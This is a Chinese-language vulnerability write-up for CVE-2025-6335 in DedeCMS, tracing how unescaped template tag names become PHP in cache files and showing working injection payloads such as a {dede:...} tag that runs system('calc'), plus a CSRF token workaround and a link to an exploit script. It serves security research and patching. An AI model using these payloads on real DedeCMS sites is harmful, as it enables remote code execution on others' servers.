DedeCMS命令执行复现&研究 | CVE-2025-6335

0x0 背景介绍

在 DеdеCMS 5.7.2及更早版本中发现了一个漏洞,并被归类为严重。此问题影响文件 /inсludе/dеdеtаɡ.class.phр 中的某个未知处理过程,该组件为模板处理器。对参数 nоtеѕ 的操作导致命令注入。

参考:CVE-2025-6335-dedeCMS后台模板注入RCE

0x1 环境搭建

1. Win10+PHPsutudy(PHP5.6x)搭建

2. 成功页面

0x2 漏洞复现

1) 手动测试tag_test_action.php,向Temp文件夹写入文件

  • 成功写入

2) 手动测试co_get_corule.php,弹出计算器

  • 成功弹出计算器

3) python脚本

  • 粗略的做了一个目标是win系统的,只是简单的验证
bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/dede_cms_RCE_CVE-2025-6335.py
  • 示例脚本是向目标C:\Windows\Temp写入,也可以写入到web服务器中,脚本也是可以直接修改cmd命令比较方便一些
  • 题外,因为时间不赶趟了,所以写入目标服务器就没融入脚本

2、复现流量特征 (PACP)

1) co_get_corule.php接口

  • 弹出计算器

2) tag_test_action.php接口

  • 写入文件

0x3 漏洞原理分析

1、/dede/co_get_corule.php接口分析

PS :通过漏洞信息得知通过向 /dede/co_get_corule.php 接口发送特制参数,利用对 notes 参数的不当过滤,触发命令注入,实现远程命令执行。
1) 优先查看 /dede/co_get_corule.php文件

  • 文件位置:uploads\dede\co_get_corule.php
  • 关键代码段:
php 复制代码
require(dirname(__FILE__)."/config.php");

$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
    header("location:login.php?gotopage=".urlencode($dedeNowurl));
    exit();
}
  • 检查是否检查用户是否登录,未登录则跳转到登录页面
php 复制代码
CheckPurview('co_AddNote');
#使用config.php内容+检查用户使用有权限(CheckPurview() 函数)

2) 跟踪定位notes参数

  • co_get_corule.php发现多处使用,进行过滤发现大抵流程是 当 $job 不为空时,进入notes
  • 再往下面逻辑是base64解码去除下反斜杠,接着往下看
php 复制代码
$notes = trim($notes);

3) 模板解析和标签提取

  • 关键代码:
php 复制代码
$dtp = new DedeTagParse();
$dtp->LoadString($notes);
  • 调用路径追踪:
bash 复制代码
LoadString($str)
 └──> LoadSource($str)
       └──> LoadTemplate($filename)
             └──> ParseTemplet()
                   └──> 提取 {dede:xxx} 标签 → 构建 CTags 数组
  • $notes 作为 DedeCMS 模板字符串进行解析
  • 这里会用到dedetag.class.php因为LoadString()
  • 会调用提取所有 {dede:xxx} 标签 后续LoadTemplate()读取该文件并触发 ParseTemplet()
    4) 查看LoadString() 方法的实现
  • 文件位置:uploads/include/dedetag.class.php
php 复制代码
function LoadString($str)
{
    $this->LoadSource($str);
}
  • 调用了 LoadSource($str),查看具体方法
php 复制代码
    function LoadSource($str)
    {
        /*
        $this->SetDefault();
        $this->SourceString = $str;
        $this->IsCache = FALSE;
        $this->ParseTemplet();
        */
        //优化模板字符串存取读取方式
        $this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';
        if( !is_file($filename) )
        {
            file_put_contents($filename, $str);
        }
        $this->LoadTemplate($filename);
    }
  • 调用了 LoadTemplate($filename),在进去套娃
php 复制代码
function LoadTemplate($filename)
{
    $this->SetDefault();
    if(!file_exists($filename))
    {
        $this->SourceString = " $filename Not Found! ";
        $this->ParseTemplet(); //  直接调用 ParseTemplet
    }
    else
    {
        $fp = @fopen($filename, "r");
        while($line = fgets($fp,1024))
        {
            $this->SourceString .= $line;
        }
        fclose($fp);
        if($this->LoadCache($filename))
        {
            return '';
        }
        else
        {
            $this->ParseTemplet(); //  正常流程也调用 ParseTemplet
        }
    }
}
  • 到这里就看到所以无论文件是否存在,只要没有缓存命中,最终都会调用 ParseTemplet()
    5)那就查看ParseTemplet方法
  • 这个方法的作用是:

遍历 $this->SourceString

找出所有{dede:xxx}开头的标签

提取标签名、属性、内嵌文本(InnerText)

构建DedeTag对象并存入 $this->CTags 数组

php 复制代码
$FullTagStartWord =  $TagStartWord.$this->NameSpace.":";
...
$sPos = strpos($this->SourceString, $FullTagStartWord, $ss);
  • 然后提取 tTagName,解析属性,设置 InnerText,最后加入CTags数组。
    6)跟踪CTags函数
  • 是在 dedetag.class.php 中,SaveCache() 方法将标签信息写入缓存文件(.inc)
php 复制代码
    function SaveCache()
    {
        $fp = fopen($this->CacheFile.'.txt',"w");
        fwrite($fp,$this->TempMkTime."\n");
        fclose($fp);
        $fp = fopen($this->CacheFile,"w");
        flock($fp,3);
        fwrite($fp,'<'.'?php'."\r\n");
        $errmsg = '';
        if(is_array($this->CTags))
        {
            foreach($this->CTags as $tid=>$ctag)
            {
                $arrayValue = 'Array("'.$ctag->TagName.'",';
                if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) {
                    fclose($fp);
                    @unlink($this->taghashfile);
                    @unlink($this->CacheFile);
                    @unlink($this->CacheFile.'.txt');
                    die($errmsg);
                }
                $arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"';
                $arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});";
                fwrite($fp,"\$z[$tid]={$arrayValue}\n");
                if(is_array($ctag->CAttribute->Items))
                {
                    fwrite($fp,"\$z[$tid][4]=array();\n");
                    foreach($ctag->CAttribute->Items as $k=>$v)
                    {
                        $v = str_replace("\\","\\\\",$v);
                        $v = str_replace('"',"\\".'"',$v);
                        $v = str_replace('$','\$',$v);
                        $k = trim(str_replace("'","",$k));
                        if($k=="")
                        {
                            continue;
                        }
                        if($k!='tagname')
                        {
                            fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n");
                        }
                    }
                }
            }
        }
        fwrite($fp,"\n".'?'.'>');
        fclose($fp);
    }
  • $ctag->TagName 是从用户输入中提取的标签名(如 {dede:xxx} 中的 xxx)
  • 直接拼接到PHP代码中,未进行转义或过滤
  • 直接拼接到 fwrite 输出的 PHP 代码中
  • 构造恶意"标签名"即可在缓存inc中打断字符串并插入任意 PHP,例如:
bash 复制代码
{dede:ewoji");system('calc');///} → 下次读缓存时被包含执行
  • 缓存文件的生成位置也就是 /data/tplcache/md5($notes).inc同一个恶意Payload每次都会生成相同的缓存文件名
  • 攻击载荷示例:
bash 复制代码
{dede:ewoji");system('calc');//}
  • ParseTemplet() 解析出标签名:ewoji");system('calc');//
  • SaveCache() 中生成缓存文件 .inc 内容如下:
php 复制代码
<?php
$z[0]=Array("ewoji");system('calc');//", "...", ...);
?>
  • 当该缓存文件被后续 include 或 require 加载时,system('calc') 将被执行

2、/dede/tag_test_action.php接口分析

1) 同上接口,可控参数导致直接拼接注入

php 复制代码
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('temp_Test');           
require_once(DEDEINC."/arc.partview.class.php");
csrf_check();       
  • co_get_corule.php接口相同,对权限进行检查,不同的是会有csrf-token检查

  • 在测试时,我根据参考进行直接POST,果然会提示DedeCMS:CSRF Token Check Failed!

  • 于是找到web页面进行抓包,看到有一个token,可以正常使用(这个token就是在当前接口的HTML中)

2) 转义绕过

php 复制代码
$partcode = stripslashes($partcode); // 去除斜杠 
  • 作用:去除GPC自动添加的反斜杠(如 ' → \'),但是即使输入中包含引号、括号等特殊字符,也能被还原

3) SetTemplet() 将用户输入的 $partcode 作为"模板字符串"传入

php 复制代码
// 设置模板内容为字符串形式
$pv->SetTemplet($partcode, "string");

// 显示源码(可选)
if( $showsource == "" || $showsource == "yes" ) {
    echo "模板代码:";
    echo "<span style='color:red;'><pre>".dede_htmlspecialchars($partcode)."</pre></span>";
    echo "结果:<hr size='1' width='100%'>";
}

// 执行显示
$pv->Display();
  • 当标签闭合不当或拼接到PHP 代码中时,可能触发代码注入
bash 复制代码
调用追踪如下
$pv->Display()
 └── $this->MakeHtml() 
      └── $this->dtp->ParseTemplate($this->SourceString)
           └── 调用 DedeTagParse 类解析标签
                └── 对 {dede:...} 进行 eval 或 create_function 执行
  • DedeCMS 在处理 {dede:xxx} 标签时,会将其转换为PHP代码片段。例如:
bash 复制代码
传入:{dede:test /}
被转换为:
<?php echo GetTagData('test'); ?>
如果标签内容异常,如:
{dede:test"}); system('calc'); //}
在拼接进 PHP 缓冲区时,可能导致语法闭合 + 代码注入

0x4 修复建议

修复方案

  1. 升级到最新版本? :目前厂商说已发布升级补丁以修复漏洞,但是我下载也是这个版本的V5.7.118

  2. 临时缓解措施

    • 禁用危险字符拼接 :SaveCache() 方法,对 $ctag->TagName 进行转义;
    • 白名单机制:只允许预定义的合法标签名(如 field, list, arc 等),其余一律拒绝;
    • 输入过滤:增加对notes 内容的合法性校验;
    • 强化口令:账户最小化原则。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5